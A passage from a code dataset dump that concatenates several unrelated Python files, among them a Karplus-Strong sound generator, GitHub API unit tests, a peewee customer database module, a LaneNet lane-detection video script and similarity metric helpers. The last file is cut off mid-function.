buf.append(avg)\n buf.popleft()\n if gShowPlot:\n if i%1000 == 0:\n axline.set_ydata(buf)\n plt.draw()\n samples = np.array(samples * 32767,'init16')\n return samples.tostring()\n\nclass NotePlayer:\n def __init__(self):\n pygame.mixer.pre_init(44100.-16,1,2048)\n pygame.init()\n self.notes = {}\n def add(self,fileName):\n self.notes[fileName]= pygame.mixer.Sound(fileName)\n def play(self,fileName):\n try:\n self.notes[fileName].play()\n except:\n print(fileName+'not found')\n def playRandom(self):\n index = random.randint(0,len(self.notes)-1)\n note = list(self.notes.values())[index]\n note.play()\n\ndef main():\n global gShowPlot\n\n parser = argparse.ArgumentParser(description=\"Generating sounds with Karplus String Algorithm.\")\n\n parser.add_argument('--display',action='store_true',required=False)\n parser.add_argument('--play',action='store_true',required=False)\n parser.add_argument('--piano', action='store_true', required=False)\n args = parser.parse_args()\n\n if args.display:\n gShowPlot = True\n plt.ion()\n\n nplayer = NotePlayer()\n print('creation notes...')\n for name, freq in list(pmNotes.items()): #定义音节\n fileName = name +'.wav'\n if not os.path.exists(fileName) or args.display:\n data = generateNote(freq) #将音节转化为音符\n print('creating'+fileName+',,,')\n writeWAVE(fileName,data) #写出wave文件\n else:\n print('filename already created.skipping')\n\n nplayer.add(name+'.wav')\n\n if args.display:\n nplayer.play(name+'.wav')\n time.sleep(0.5)\n\n if args.play:\n while True:\n try:\n nplayer.playRandom()\n rest = np.random.choice([1,2,4,8],1,\n p=[0.15,0.7,0.1,0.05])\n time.sleep(0.25*rest[0])\n except KeyboardInterrupt:\n exit()\n\n if args.piano:\n while True:\n for event in pygame.event.get():\n if(event.type==pygame.KEYUP):\n print('key pressed')\n nplayer.playRandom()\n time.sleep(0.5)\n\nif __name__=='__main__':\n main()","sub_path":"ks1.py","file_name":"ks1.py","file_ext":"py","file_size_in_byte":3575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"550995827","text":"import unittest\nfrom app import *\n\n\nclass TestGitProfileApi(unittest.TestCase):\n # Setup the Flask test client\n def setUp(self):\n app.config['TESTING'] = True\n self.app = app.test_client()\n\n # Function that tests if the proper list gets\n # returned, also could be used to test get_basics()\n def test_get_repos(self):\n url_1 = \"https://api.github.com/users/miguelgrinberg/repos\"\n url_2 = \"https://bitbucket.org/api/2.0/repositories/pygame\"\n test_result = {\n \"original_repos\": 70,\n \"forked_repos\": 57,\n \"stars_received\": 14210,\n \"open_issues\": 765,\n \"commits\": 5396,\n \"total_size\": 40305773,\n \"languages\": [\n \"Python\",\n \"Shell\",\n \"Batchfile\",\n \"HTML\",\n \"JavaScript\",\n \"CSS\",\n \"CoffeeScript\",\n \"Ruby\",\n \"C\",\n \"C++\",\n \"HCL\"\n ],\n \"languages_count\": 11,\n \"topics\": [\n \"asyncio\",\n \"async-await\",\n \"async-python\",\n \"python3\",\n \"unit-testing\",\n \"unittest\",\n \"mock\",\n \"etcd\",\n \"microservices\",\n \"cloud\",\n \"service-discovery\",\n \"load-balancer\",\n \"nginx\",\n \"confd\",\n \"flask\",\n \"celery\",\n \"scale\",\n \"flask-socketio\",\n \"python\",\n \"flask-httpauth\",\n \"authentication\",\n \"tokens\",\n \"security\",\n \"database\",\n \"sqlalchemy-database-migrations\",\n \"alembic\",\n \"migrations\",\n \"timestamp\",\n \"moment-js\",\n \"render-timestamps\",\n \"flask-moment\",\n \"utc\",\n \"socket-io\",\n \"websocket\",\n \"webapp\",\n \"socketio\",\n \"socketio-server\",\n \"long-polling\",\n \"low-latency\",\n \"web-server\",\n \"eventlet\",\n \"gevent\",\n \"aws\",\n \"aws-apigateway\",\n \"aws-lambda\",\n \"serverless-deployments\",\n \"cloudformation\"\n ],\n \"topics_count\": 47\n }\n self.assertCountEqual(get_repos(url_1, 120, url_2), test_result)\n\n # Function that tests the getting all commits of a\n # particular GitHub account\n def test_count_gh_user_commits(self):\n url_1 = \"https://api.github.com/users/kennethreitz/repos\"\n url_2 = \"https://api.github.com/users/miguelgrinberg/repos\"\n self.assertAlmostEqual(count_gh_user_commits(url_1, 2), 12793)\n self.assertAlmostEqual(count_gh_user_commits(url_2, 2), 1670)\n\n # Function that tests the getting all commits of a\n # particular GitHub repo or total number of stars\n # a user has given\n def test_count_gh_stats(self):\n url_1 = \"https://api.github.com/users/kennethreitz/starred\"\n url_2 = \"https://api.github.com/users/miguelgrinberg/starred\"\n url_3 = \"https://api.github.com/repos/miguelgrinberg/REST-tutorial/commits\"\n self.assertAlmostEqual(count_gh_stats(url_1), 1856)\n self.assertAlmostEqual(count_gh_stats(url_2), 218)\n self.assertAlmostEqual(count_gh_stats(url_3), 21)\n\n # Function that tests the getting all commits of a\n # particular BitBucket repo\n def test_count_bb_commits(self):\n url_1 = \"https://bitbucket.org/!api/2.0/repositories/mailchimp/mandrill-api-php/commits\"\n self.assertAlmostEqual(count_bb_commits(url_1), 59)\n\n # Function that tests the getting open issues of a\n # particular BitBucket repo\n def test_count_bb_open_issues(self):\n url_1 = \"https://bitbucket.org/!api/2.0/repositories/pygame/pygame/issues\"\n self.assertAlmostEqual(count_bb_open_issues(url_1), 88)\n\n # Function that tests if the get_topics() returns\n # the right topics\n def test_get_topics(self):\n url_1 = \"https://api.github.com/repos/kennethreitz/white/topics\"\n self.assertIn(\"codeformatter\", get_topics(url_1))\n\n # Function that tests if it returns the url\n # of the last page\n def test_find_last(self):\n links_1 = '; rel=\"prev\", ; rel=\"next\", ; rel=\"last\", ; rel=\"first\"'\n links_2 = '; rel=\"first\", ; rel=\"prev\"'\n self.assertAlmostEqual(find_last(links_1), \"https://api.github.com/user/119893/starred?page=62\")\n self.assertAlmostEqual(find_last(links_2), None)\n\n # Function that tests the making http requests function\n def test_make_request(self):\n url_1 = \"https://api.github.com/users/kennethreitz\"\n url_2 = \"https://api.github.com/blablabla\"\n self.assertTrue(make_request(url_1, False).status_code == 200)\n self.assertTrue(make_request(url_2, False).status_code == 404)\n\n # Function that tests the function to determine\n # if the input username is valid\n def test_is_valid_gh_user(self):\n usr_1 = \"fsdfdfsd\"\n usr_2 = \"kennethreitz\"\n self.assertAlmostEqual(is_valid_gh_user(usr_1), False)\n self.assertAlmostEqual(is_valid_gh_user(usr_2), True)\n\n def test_types(self):\n self.assertRaises(TypeError, is_valid_gh_user, 123456)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":5899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"630227430","text":"'''\nbasic operations for employees to perform\nfor customer data\n'''\n\nimport logging\nfrom peewee import *\nfrom customer_model import *\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\nlogger.info('Working with Customer class')\n\ndef add_customer(customer_id, name, last_name,\n home_address, email_address,\n phone_number, status, credit_limit):\n ''' add new customers to the database '''\n\n try:\n with database.transaction():\n new_customer = Customer.create(\n customer_id=customer_id,\n name=name,\n last_name=last_name,\n home_address=home_address,\n email_address=email_address,\n phone_number=phone_number,\n status=status,\n credit_limit=credit_limit)\n new_customer.save()\n logger.info(f'{name} {last_name} added to database')\n\n except IntegrityError as e:\n logger.info(f'Integrity error thrown {e}')\n\ndef search_customer(customer_id):\n ''' searches for a customer by id '''\n try:\n customer = Customer.get(customer_id=customer_id)\n\n except DoesNotExist:\n raise ValueError(f'{customer_id} not found in database')\n\n return {'name': customer.name,\n 'last_name': customer.last_name,\n 'email_address': customer.email_address,\n 'phone_number': customer.phone_number}\n\ndef delete_customer(customer_id):\n ''' remove a customer from the database '''\n try:\n customer = Customer.get(customer_id=customer_id)\n customer.delete_instance()\n logger.info(f'{customer.name} has been deleted')\n\n except DoesNotExist:\n raise ValueError(f'{customer_id} not found in database')\n\ndef update_customer_credit(customer_id, credit_limit):\n ''' update customers credit limit '''\n logger.info(f'updating customers credit limit {credit_limit}')\n\n try:\n customer = Customer.get(customer_id=customer_id)\n logger.info(f'found customers id: {customer.customer_id}')\n customer.credit_limit = credit_limit\n customer.save()\n logger.info(f'customers credit limit is now set to: ${customer.credit_limit}')\n\n except DoesNotExist:\n raise ValueError(f'{customer_id} not found in database')\n\n return credit_limit\n\ndef update_customer_status(customer_id, status):\n ''' update customers status '''\n logger.info(f'updating customers status {status}')\n\n try:\n customer = Customer.get(customer_id=customer_id)\n logger.info(f'found customers id: {customer.customer_id}')\n customer.status = status\n customer.save()\n logger.info(f'customers status is now set to: {customer.status}')\n\n except DoesNotExist:\n raise ValueError(f'{customer_id} not found in database')\n\n return customer.status\n\ndef list_active_customers():\n ''' return number of active customers in database '''\n active_customers = Customer.select().where(Customer.status).count()\n logger.info(f'active customer count is {active_customers}')\n\n return active_customers\n\ndef list_active_customers_name():\n ''' displays active customers by name returned in a list '''\n total_active = list_active_customers()\n customer = Customer.select().order_by(Customer.name).get()\n\n active_customers = [customer.name for x in range(total_active)]\n\n return active_customers\n","sub_path":"students/billy_galloway/lesson_4/assignment/customer_db/basic_operations.py","file_name":"basic_operations.py","file_ext":"py","file_size_in_byte":3435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"365793321","text":"\"\"\"\nModule holding definition data types\n\"\"\"\n\n\nclass TimeSlot(object):\n \"\"\"Time zone slot definition\n\n Member id: Timeslot id\n Member day: Timeslot day number\n Member start_time: Start time of slot\n Member start_time: End time of slot\n \"\"\"\n def __init__(self, id=-1, day=-1, start_time=None, end_time=None):\n self.id = id\n self.start_time = start_time\n self.end_time = end_time\n self.day = day\n\n def __eq__(self, other):\n \"\"\"Compare\n \"\"\"\n return (\n self.start_time == other.start_time and\n self.end_time == other.end_time and\n self.day == other.day)\n\n def __ne__(self, other):\n \"\"\"Compare negative\n \"\"\"\n return not self.__eq__(other)\n\n def __str__(self):\n return ('%s id=%d, day=%d, start_time=%s, end_time=%s' %\n (self.__class__.__name__,\n self.id, self.day, self.start_time, self.end_time))\n\n\nclass TimeZone(object):\n \"\"\"Time zone definition\n\n Member id: Timezone id\n Member name: Timezone name\n Member slots: Array of TimeSlot objects\n \"\"\"\n def __init__(self, id=-1, name=None):\n self.id = id\n self.name = name\n self.slots = []\n\n def __eq__(self, other):\n \"\"\"Compare\n \"\"\"\n if (type(self) != type(other) or\n len(self.slots) != len(other.slots)):\n return False\n\n for s_slot in self.slots:\n for o_slot in other.slots:\n if s_slot == o_slot:\n break\n else:\n return False\n\n return True\n\n def __ne__(self, other):\n \"\"\"Compare negative\n \"\"\"\n return not self.__eq__(other)\n\n def __str__(self):\n out = []\n out.append('%s id=%d, name=%s' %\n (self.__class__.__name__, self.id, self.name))\n for slot in self.slots:\n out.append('-%s' % slot)\n return '\\n'.join(out)\n\n\nclass AccessLevel(object):\n \"\"\"Access level definition\n\n Member id: Accesslevel id\n Member name: Accesslevel name\n Member details: Array of (timezone id, area id) tuples\n \"\"\"\n def __init__(self, id, name):\n self.id = id\n self.name = name\n self.details = []\n\n def __eq__(self, other):\n \"\"\"Compare\n \"\"\"\n if (type(self) != type(other) or\n len(self.details) != len(other.details)):\n return False\n\n for s_detail in self.details:\n for o_detail in other.details:\n if s_detail == o_detail:\n break\n else:\n return False\n\n return True\n\n def __ne__(self, other):\n \"\"\"Compare negative\n \"\"\"\n return not self.__eq__(other)\n\n def __str__(self):\n out = []\n out.append('%s id=%d, name=%s' % (\n self.__class__.__name__, self.id, self.name))\n for tz_id, area_id in self.details:\n out.append('-tz=%d, area=%d' % (tz_id, area_id))\n return '\\n'.join(out)\n","sub_path":"Net2Scripting/net2xs/deftypes.py","file_name":"deftypes.py","file_ext":"py","file_size_in_byte":3067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"71473822","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time : 18-5-23 上午11:33\n# @Author : Luo Yao\n# @Site : https://github.com/MaybeShewill-CV/lanenet-lane-detection\n# @File : test_lanenet.py\n# @IDE: PyCharm Community Edition\n\"\"\"\n测试LaneNet模型\n\"\"\"\nimport sys\nros_path = '/opt/ros/kinetic/lib/python2.7/dist-packages'\nif ros_path in sys.path:\n\n sys.path.remove(ros_path)\n\nimport cv2\n\nsys.path.append('/opt/ros/kinetic/lib/python2.7/dist-packages')\nsys.path.append('/home/zengjun/下载/lanenet-lane-detection-master')\nsys.path.append('/home/zengjun/下载/lanenet-lane-detection-master/config')\nsys.path.append('/home/zengjun/下载/lanenet-lane-detection-masterdata_provider')\nsys.path.append('/home/zengjun/下载/lanenet-lane-detection-master/lanenet_model')\nsys.path.append('/home/zengjun/下载/lanenet-lane-detection-master/encoder_decoder_model')\nsys.path.append('/home/zengjun/下载/lanenet-lane-detection-master/tools')\n\nimport os\nimport os.path as ops\nimport argparse\nimport time\nimport math\n\nimport tensorflow as tf\nimport glob\nimport glog as log\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport cv2\n\nfrom lanenet_model import lanenet_merge_model\nfrom lanenet_model import lanenet_cluster\nfrom lanenet_model import lanenet_postprocess\nfrom config import global_config\n\nCFG = global_config.cfg\nVGG_MEAN = [103.939, 116.779, 123.68]\n\n\ndef init_args():\n \"\"\"\n\n :return:\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('--image_path', type=str, help='The image path or the src image save dir')\n parser.add_argument('--weights_path', type=str, help='The model weights path')\n parser.add_argument('--is_batch', type=str, help='If test a batch of images', default='false')\n parser.add_argument('--batch_size', type=int, help='The batch size of the test images', default=32)\n parser.add_argument('--save_dir', type=str, help='Test result image save dir', default=None)\n parser.add_argument('--use_gpu', type=int, help='If use gpu set 1 or 0 instead', default=1)\n\n return parser.parse_args()\n\n\ndef minmax_scale(input_arr):\n \"\"\"\n\n :param input_arr:\n :return:\n \"\"\"\n min_val = np.min(input_arr)\n max_val = np.max(input_arr)\n\n output_arr = (input_arr - min_val) * 255.0 / (max_val - min_val)\n\n return output_arr\n\n'''\ndef test_lanenet(image_path, weights_path, use_gpu):\n \"\"\"\n\n :param image_path:\n :param weights_path:\n :param use_gpu:\n :return:\n \"\"\"\n assert ops.exists(image_path), '{:s} not exist'.format(image_path)\n\n log.info('开始读取图像数据并进行预处理')\n t_start = time.time()\n image = cv2.imread(image_path, cv2.IMREAD_COLOR)\n image_vis = image\n image = cv2.resize(image, (512, 256), interpolation=cv2.INTER_LINEAR)\n image = image - VGG_MEAN\n log.info('图像读取完毕, 耗时: {:.5f}s'.format(time.time() - t_start))\n\n input_tensor = tf.placeholder(dtype=tf.float32, shape=[1, 256, 512, 3], name='input_tensor')\n phase_tensor = tf.constant('test', tf.string)\n\n net = lanenet_merge_model.LaneNet(phase=phase_tensor, net_flag='vgg')\n binary_seg_ret, instance_seg_ret = net.inference(input_tensor=input_tensor, name='lanenet_model')\n\n cluster = lanenet_cluster.LaneNetCluster()\n postprocessor = lanenet_postprocess.LaneNetPoseProcessor()\n\n saver = tf.train.Saver()\n\n # Set sess configuration\n if use_gpu:\n sess_config = tf.ConfigProto(device_count={'GPU': 1})\n else:\n sess_config = tf.ConfigProto(device_count={'CPU': 0})\n sess_config.gpu_options.per_process_gpu_memory_fraction = CFG.TEST.GPU_MEMORY_FRACTION\n sess_config.gpu_options.allow_growth = CFG.TRAIN.TF_ALLOW_GROWTH\n sess_config.gpu_options.allocator_type = 'BFC'\n\n sess = tf.Session(config=sess_config)\n\n with sess.as_default():\n\n saver.restore(sess=sess, save_path=weights_path)\n\n t_start = time.time()\n binary_seg_image, instance_seg_image = sess.run([binary_seg_ret, instance_seg_ret],\n feed_dict={input_tensor: [image]})\n t_cost = time.time() - t_start\n log.info('单张图像车道线预测耗时: {:.5f}s'.format(t_cost))\n\n binary_seg_image[0] = postprocessor.postprocess(binary_seg_image[0])\n mask_image = cluster.get_lane_mask(binary_seg_ret=binary_seg_image[0],\n instance_seg_ret=instance_seg_image[0])\n\n for i in range(4):\n instance_seg_image[0][:, :, i] = minmax_scale(instance_seg_image[0][:, :, i])\n embedding_image = np.array(instance_seg_image[0], np.uint8)\n\n plt.figure('mask_image')\n plt.imshow(mask_image[:, :, (2, 1, 0)])\n plt.figure('src_image')\n plt.imshow(image_vis[:, :, (2, 1, 0)])\n plt.figure('instance_image')\n plt.imshow(embedding_image[:, :, (2, 1, 0)])\n plt.figure('binary_image')\n plt.imshow(binary_seg_image[0] * 255, cmap='gray')\n plt.show()\n\n sess.close()\n\n return\n'''\n\n##加入视频转换\n#def detect_video(yolo, video_path, output_path=\"\"):\ndef test_lanenet(video_path, weights_path, use_gpu,output_path=''):\n#def detect_video(yolo, output_path=\"\"):\n import cv2\n from timeit import default_timer as timer\n from PIL import Image, ImageFont, ImageDraw\n\n print(video_path)\n vid = cv2.VideoCapture(video_path)\n #vid = cv2.VideoCapture(0)\n if not vid.isOpened():\n raise IOError(\"Couldn't open webcam or video\")\n video_FourCC = int(vid.get(cv2.CAP_PROP_FOURCC))\n video_fps = vid.get(cv2.CAP_PROP_FPS)\n video_size = (int(vid.get(cv2.CAP_PROP_FRAME_WIDTH)),\n int(vid.get(cv2.CAP_PROP_FRAME_HEIGHT)))\n isOutput = True if output_path != \"\" else False\n if isOutput:\n print(\"!!! TYPE:\", type(output_path), type(video_FourCC), type(video_fps), type(video_size))\n out = cv2.VideoWriter(output_path, video_FourCC, video_fps, video_size)\n accum_time = 0\n curr_fps = 0\n fps = \"FPS: ??\"\n prev_time = timer()\n while True:\n\n return_value, frame = vid.read()\n tf.reset_default_graph()\n image = Image.fromarray(frame)\n image = cv2.cvtColor(np.asarray(image), cv2.COLOR_RGB2BGR)\n log.info('开始读取图像数据并进行预处理')\n t_start = time.time()\n #image = cv2.imread(image_path, cv2.IMREAD_COLOR)\n image_vis = image\n image = cv2.resize(image, (512, 256), interpolation=cv2.INTER_LINEAR)\n image = image - VGG_MEAN\n log.info('图像读取完毕, 耗时: {:.5f}s'.format(time.time() - t_start))\n\n input_tensor = tf.placeholder(dtype=tf.float32, shape=[1, 256, 512, 3], name='input_tensor')\n phase_tensor = tf.constant('test', tf.string)\n\n net = lanenet_merge_model.LaneNet(phase=phase_tensor, net_flag='vgg')\n #tf.reset_default_graph() # zj添加 参考网址:https://blog.csdn.net/mr_brooks/article/details/80393396\n binary_seg_ret, instance_seg_ret = net.inference(input_tensor=input_tensor, name='lanenet_model')\n\n cluster = lanenet_cluster.LaneNetCluster()\n postprocessor = lanenet_postprocess.LaneNetPoseProcessor()\n\n saver = tf.train.Saver()\n\n # Set sess configuration\n if use_gpu:\n sess_config = tf.ConfigProto(device_count={'GPU': 1})\n else:\n sess_config = tf.ConfigProto(device_count={'CPU': 0})\n sess_config.gpu_options.per_process_gpu_memory_fraction = CFG.TEST.GPU_MEMORY_FRACTION\n sess_config.gpu_options.allow_growth = CFG.TRAIN.TF_ALLOW_GROWTH\n sess_config.gpu_options.allocator_type = 'BFC'\n\n sess = tf.Session(config=sess_config)\n\n with sess.as_default():\n\n saver.restore(sess=sess, save_path=weights_path)\n\n t_start = time.time()\n binary_seg_image, instance_seg_image = sess.run([binary_seg_ret, instance_seg_ret],\n feed_dict={input_tensor: [image]})\n t_cost = time.time() - t_start\n log.info('单张图像车道线预测耗时: {:.5f}s'.format(t_cost))\n\n binary_seg_image[0] = postprocessor.postprocess(binary_seg_image[0])\n mask_image = cluster.get_lane_mask(binary_seg_ret=binary_seg_image[0],\n instance_seg_ret=instance_seg_image[0])\n\n for i in range(4):\n instance_seg_image[0][:, :, i] = minmax_scale(instance_seg_image[0][:, :, i])\n embedding_image = np.array(instance_seg_image[0], np.uint8)\n '''\n plt.figure('mask_image')\n plt.imshow(mask_image[:, :, (2, 1, 0)])\n plt.figure('src_image')\n plt.imshow(image_vis[:, :, (2, 1, 0)])\n plt.figure('instance_image')\n plt.imshow(embedding_image[:, :, (2, 1, 0)])\n plt.figure('binary_image')\n plt.imshow(binary_seg_image[0] * 255, cmap='gray')\n plt.show()\n '''\n result = np.asarray(embedding_image[:, :, (2, 1, 0)])\n curr_time = timer()\n exec_time = curr_time - prev_time\n prev_time = curr_time\n accum_time = accum_time + exec_time\n curr_fps = curr_fps + 1\n if accum_time > 1:\n accum_time = accum_time - 1\n fps = \"FPS: \" + str(curr_fps)\n curr_fps = 0\n cv2.putText(result, text=fps, org=(3, 15), fontFace=cv2.FONT_HERSHEY_SIMPLEX,\n fontScale=0.50, color=(255, 0, 0), thickness=2)\n cv2.namedWindow(\"result\", cv2.WINDOW_NORMAL)\n cv2.imshow(\"result\", result)\n if isOutput:\n out.write(result)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n sess.close()\n return \n\n\n\n\n\n\ndef test_lanenet_batch(image_dir, weights_path, batch_size, use_gpu, save_dir=None):\n \"\"\"\n\n :param image_dir:\n :param weights_path:\n :param batch_size:\n :param use_gpu:\n :param save_dir:\n :return:\n \"\"\"\n assert ops.exists(image_dir), '{:s} not exist'.format(image_dir)\n\n log.info('开始获取图像文件路径...')\n image_path_list = glob.glob('{:s}/**/*.jpg'.format(image_dir), recursive=True) + \\\n glob.glob('{:s}/**/*.png'.format(image_dir), recursive=True) + \\\n glob.glob('{:s}/**/*.jpeg'.format(image_dir), recursive=True)\n\n input_tensor = tf.placeholder(dtype=tf.float32, shape=[None, 256, 512, 3], name='input_tensor')\n phase_tensor = tf.constant('test', tf.string)\n\n net = lanenet_merge_model.LaneNet(phase=phase_tensor, net_flag='vgg')\n binary_seg_ret, instance_seg_ret = net.inference(input_tensor=input_tensor, name='lanenet_model')\n\n cluster = lanenet_cluster.LaneNetCluster()\n postprocessor = lanenet_postprocess.LaneNetPoseProcessor()\n\n saver = tf.train.Saver()\n\n # Set sess configuration\n if use_gpu:\n sess_config = tf.ConfigProto(device_count={'GPU': 1})\n else:\n sess_config = tf.ConfigProto(device_count={'GPU': 0})\n sess_config.gpu_options.per_process_gpu_memory_fraction = CFG.TEST.GPU_MEMORY_FRACTION\n sess_config.gpu_options.allow_growth = CFG.TRAIN.TF_ALLOW_GROWTH\n sess_config.gpu_options.allocator_type = 'BFC'\n\n sess = tf.Session(config=sess_config)\n\n with sess.as_default():\n\n saver.restore(sess=sess, save_path=weights_path)\n\n epoch_nums = int(math.ceil(len(image_path_list) / batch_size))\n\n for epoch in range(epoch_nums):\n log.info('[Epoch:{:d}] 开始图像读取和预处理...'.format(epoch))\n t_start = time.time()\n image_path_epoch = image_path_list[epoch * batch_size:(epoch + 1) * batch_size]\n image_list_epoch = [cv2.imread(tmp, cv2.IMREAD_COLOR) for tmp in image_path_epoch]\n image_vis_list = image_list_epoch\n image_list_epoch = [cv2.resize(tmp, (512, 256), interpolation=cv2.INTER_LINEAR)\n for tmp in image_list_epoch]\n image_list_epoch = [tmp - VGG_MEAN for tmp in image_list_epoch]\n t_cost = time.time() - t_start\n log.info('[Epoch:{:d}] 预处理{:d}张图像, 共耗时: {:.5f}s, 平均每张耗时: {:.5f}'.format(\n epoch, len(image_path_epoch), t_cost, t_cost / len(image_path_epoch)))\n\n t_start = time.time()\n binary_seg_images, instance_seg_images = sess.run(\n [binary_seg_ret, instance_seg_ret], feed_dict={input_tensor: image_list_epoch})\n t_cost = time.time() - t_start\n log.info('[Epoch:{:d}] 预测{:d}张图像车道线, 共耗时: {:.5f}s, 平均每张耗时: {:.5f}s'.format(\n epoch, len(image_path_epoch), t_cost, t_cost / len(image_path_epoch)))\n\n cluster_time = []\n for index, binary_seg_image in enumerate(binary_seg_images):\n t_start = time.time()\n binary_seg_image = postprocessor.postprocess(binary_seg_image)\n mask_image = cluster.get_lane_mask(binary_seg_ret=binary_seg_image,\n instance_seg_ret=instance_seg_images[index])\n cluster_time.append(time.time() - t_start)\n mask_image = cv2.resize(mask_image, (image_vis_list[index].shape[1],\n image_vis_list[index].shape[0]),\n interpolation=cv2.INTER_LINEAR)\n\n if save_dir is None:\n plt.ion()\n plt.figure('mask_image')\n plt.imshow(mask_image[:, :, (2, 1, 0)])\n plt.figure('src_image')\n plt.imshow(image_vis_list[index][:, :, (2, 1, 0)])\n plt.pause(3.0)\n plt.show()\n plt.ioff()\n\n if save_dir is not None:\n mask_image = cv2.addWeighted(image_vis_list[index], 1.0, mask_image, 1.0, 0)\n image_name = ops.split(image_path_epoch[index])[1]\n image_save_path = ops.join(save_dir, image_name)\n cv2.imwrite(image_save_path, mask_image)\n\n log.info('[Epoch:{:d}] 进行{:d}张图像车道线聚类, 共耗时: {:.5f}s, 平均每张耗时: {:.5f}'.format(\n epoch, len(image_path_epoch), np.sum(cluster_time), np.mean(cluster_time)))\n\n sess.close()\n\n return\n\n\nif __name__ == '__main__':\n # init args\n '''\n args = init_args()\n\n if args.save_dir is not None and not ops.exists(args.save_dir):\n log.error('{:s} not exist and has been made'.format(args.save_dir))\n os.makedirs(args.save_dir)\n\n if args.is_batch.lower() == 'false':\n # test hnet model on single image\n test_lanenet(args.video_path, args.weights_path, args.use_gpu)\n else:\n # test hnet model on a batch of image\n test_lanenet_batch(image_dir=args.image_path, weights_path=args.weights_path,\n save_dir=args.save_dir, use_gpu=args.use_gpu, batch_size=args.batch_size)\n '''\n '''\n python tools/vedio_test.py --is_batch False --weights_path model/tusimple_lanenet/tusimple_lanenet_vgg_2018-10-19-13-33-56.ckpt-200000 --video_path /home/zengjun/下载/lanenet-lane-detection-master/laneSource.mp4 \n python tools/vedio_test.py --is_batch False --batch_size 1 --video_path laneSource.mp4 --weights_path path/to/your/model_weights_file \n '''\n test_lanenet('/home/zengjun/下载/lanenet-lane-detection-master/laneSource.mp4','/home/zengjun/下载/lanenet-lane-detection-master/model/tusimple_lanenet/tusimple_lanenet_vgg_2018-10-19-13-33-56.ckpt-200000', 1)","sub_path":"tools/video_test.py","file_name":"video_test.py","file_ext":"py","file_size_in_byte":15787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"503230874","text":"import json\nfrom urllib.request import urlopen \n\nwith urlopen(\"https://raw.githubusercontent.com/jbrooksuk/JSON-Airports/master/airports.json\") as response:\n source = response.read()\n\ndata = json.loads(source)\n\nnew_list = []\nfor item in data:\n result = str(item[\"iata\"]) + \" - \" + str(item[\"name\"])\n new_list.append(result)\n\ndata_to_json = json.dumps(new_list, indent=2, sort_keys=True)\n\nwith open(\"airports.json\", \"w\") as f:\n json.dump(new_list, f)","sub_path":"airports.py","file_name":"airports.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"612327384","text":"#\"temp/imputed_files_no_external/chr{chromosome}_no_external_{individual}.no_external_reference{start}\"\n\ndef get_imputed_chromosome_files_to_concatenate(input_filename, individual_list, start_dictionary):\n filenames = []\n chromosome_list = start_dictionary.keys()\n for individual in individual_list:\n for chromosome in chromosome_list:\n for start in start_dictionary[chromosome]:\n filename = input_filename.format(individual=individual, chromosome=chromosome, start=start) \n filenames.append(filename)\n print(\"done\", len(filenames))\n return filenames\n","sub_path":"rule_functions/get_imputed_files_to_concatenate.py","file_name":"get_imputed_files_to_concatenate.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"628027327","text":"# encoding:utf-8\nimport sys\n\nsys.path.append(\"..\")\nimport numpy as np\nfrom math import sqrt\n# from utility.tools import sigmoid_2\n\n\n# x1,x2 is the form of np.array.\n\ndef euclidean(x1, x2):\n # find common ratings\n new_x1, new_x2 = common(x1, x2)\n # compute the euclidean between two vectors\n diff = new_x1 - new_x2\n denom = sqrt((diff.dot(diff)))\n try:\n return 1 / denom\n except ZeroDivisionError:\n return 0\n\n\ndef cosine(x1, x2):\n # find common ratings\n new_x1, new_x2 = common(x1, x2)\n # compute the cosine similarity between two vectors\n sum = new_x1.dot(new_x2)\n denom = sqrt(new_x1.dot(new_x1) * new_x2.dot(new_x2))\n try:\n return float(sum) / denom\n except ZeroDivisionError:\n return 0\n\n\ndef pearson(x1, x2):\n # find common ratings\n new_x1, new_x2 = common(x1, x2)\n # compute the pearson similarity between two vectors\n ind1 = new_x1 > 0\n ind2 = new_x2 > 0\n try:\n mean_x1 = float(new_x1.sum()) / ind1.sum()\n mean_x2 = float(new_x2.sum()) / ind2.sum()\n new_x1 = new_x1 - mean_x1\n new_x2 = new_x2 - mean_x2\n sum = new_x1.dot(new_x2)\n denom = sqrt((new_x1.dot(new_x1)) * (new_x2.dot(new_x2)))\n return float(sum) / denom\n except ZeroDivisionError:\n return 0\n\n\ndef common(x1, x2):\n # find common ratings\n common = (x1 != 0) & (x2 != 0)\n new_x1 = x1[common]\n new_x2 = x2[common]\n return new_x1, new_x2\n\n\n# x1,x2 is the form of dict.\n\ndef cosine_sp(x1, x2):\n 'x1,x2 are dicts,this version is for sparse representation'\n total = 0\n denom1 = 0\n denom2 = 0\n # x1_l,x2_l=len(x1),len(x2)\n # if x2_l>x1_l:\n # x1,x2=x2,x1\n for k in x1:\n if k in x2:\n total += x1[k] * x2[k]\n denom1 += x1[k] ** 2\n denom2 += x2[k] ** 2 # .pop(k)\n # else:\n # denom1+=x1[k]**2\n # for j in x2:\n # \tdenom2+=x2[j]**2\n try:\n return (total + 0.0) / (sqrt(denom1) * sqrt(denom2))\n except ZeroDivisionError:\n return 0\n\n\ndef cosine_improved_sp(x1, x2):\n 'x1,x2 are dicts,this version is for sparse representation'\n total = 0\n denom1 = 0\n denom2 = 0\n nu = 0\n for k in x1:\n if k in x2:\n nu += 1\n total += x1[k] * x2[k]\n denom1 += x1[k] ** 2\n denom2 += x2[k] ** 2\n try:\n return (total + 0.0) / (sqrt(denom1) * sqrt(denom2)) * sigmoid_2(nu)\n except 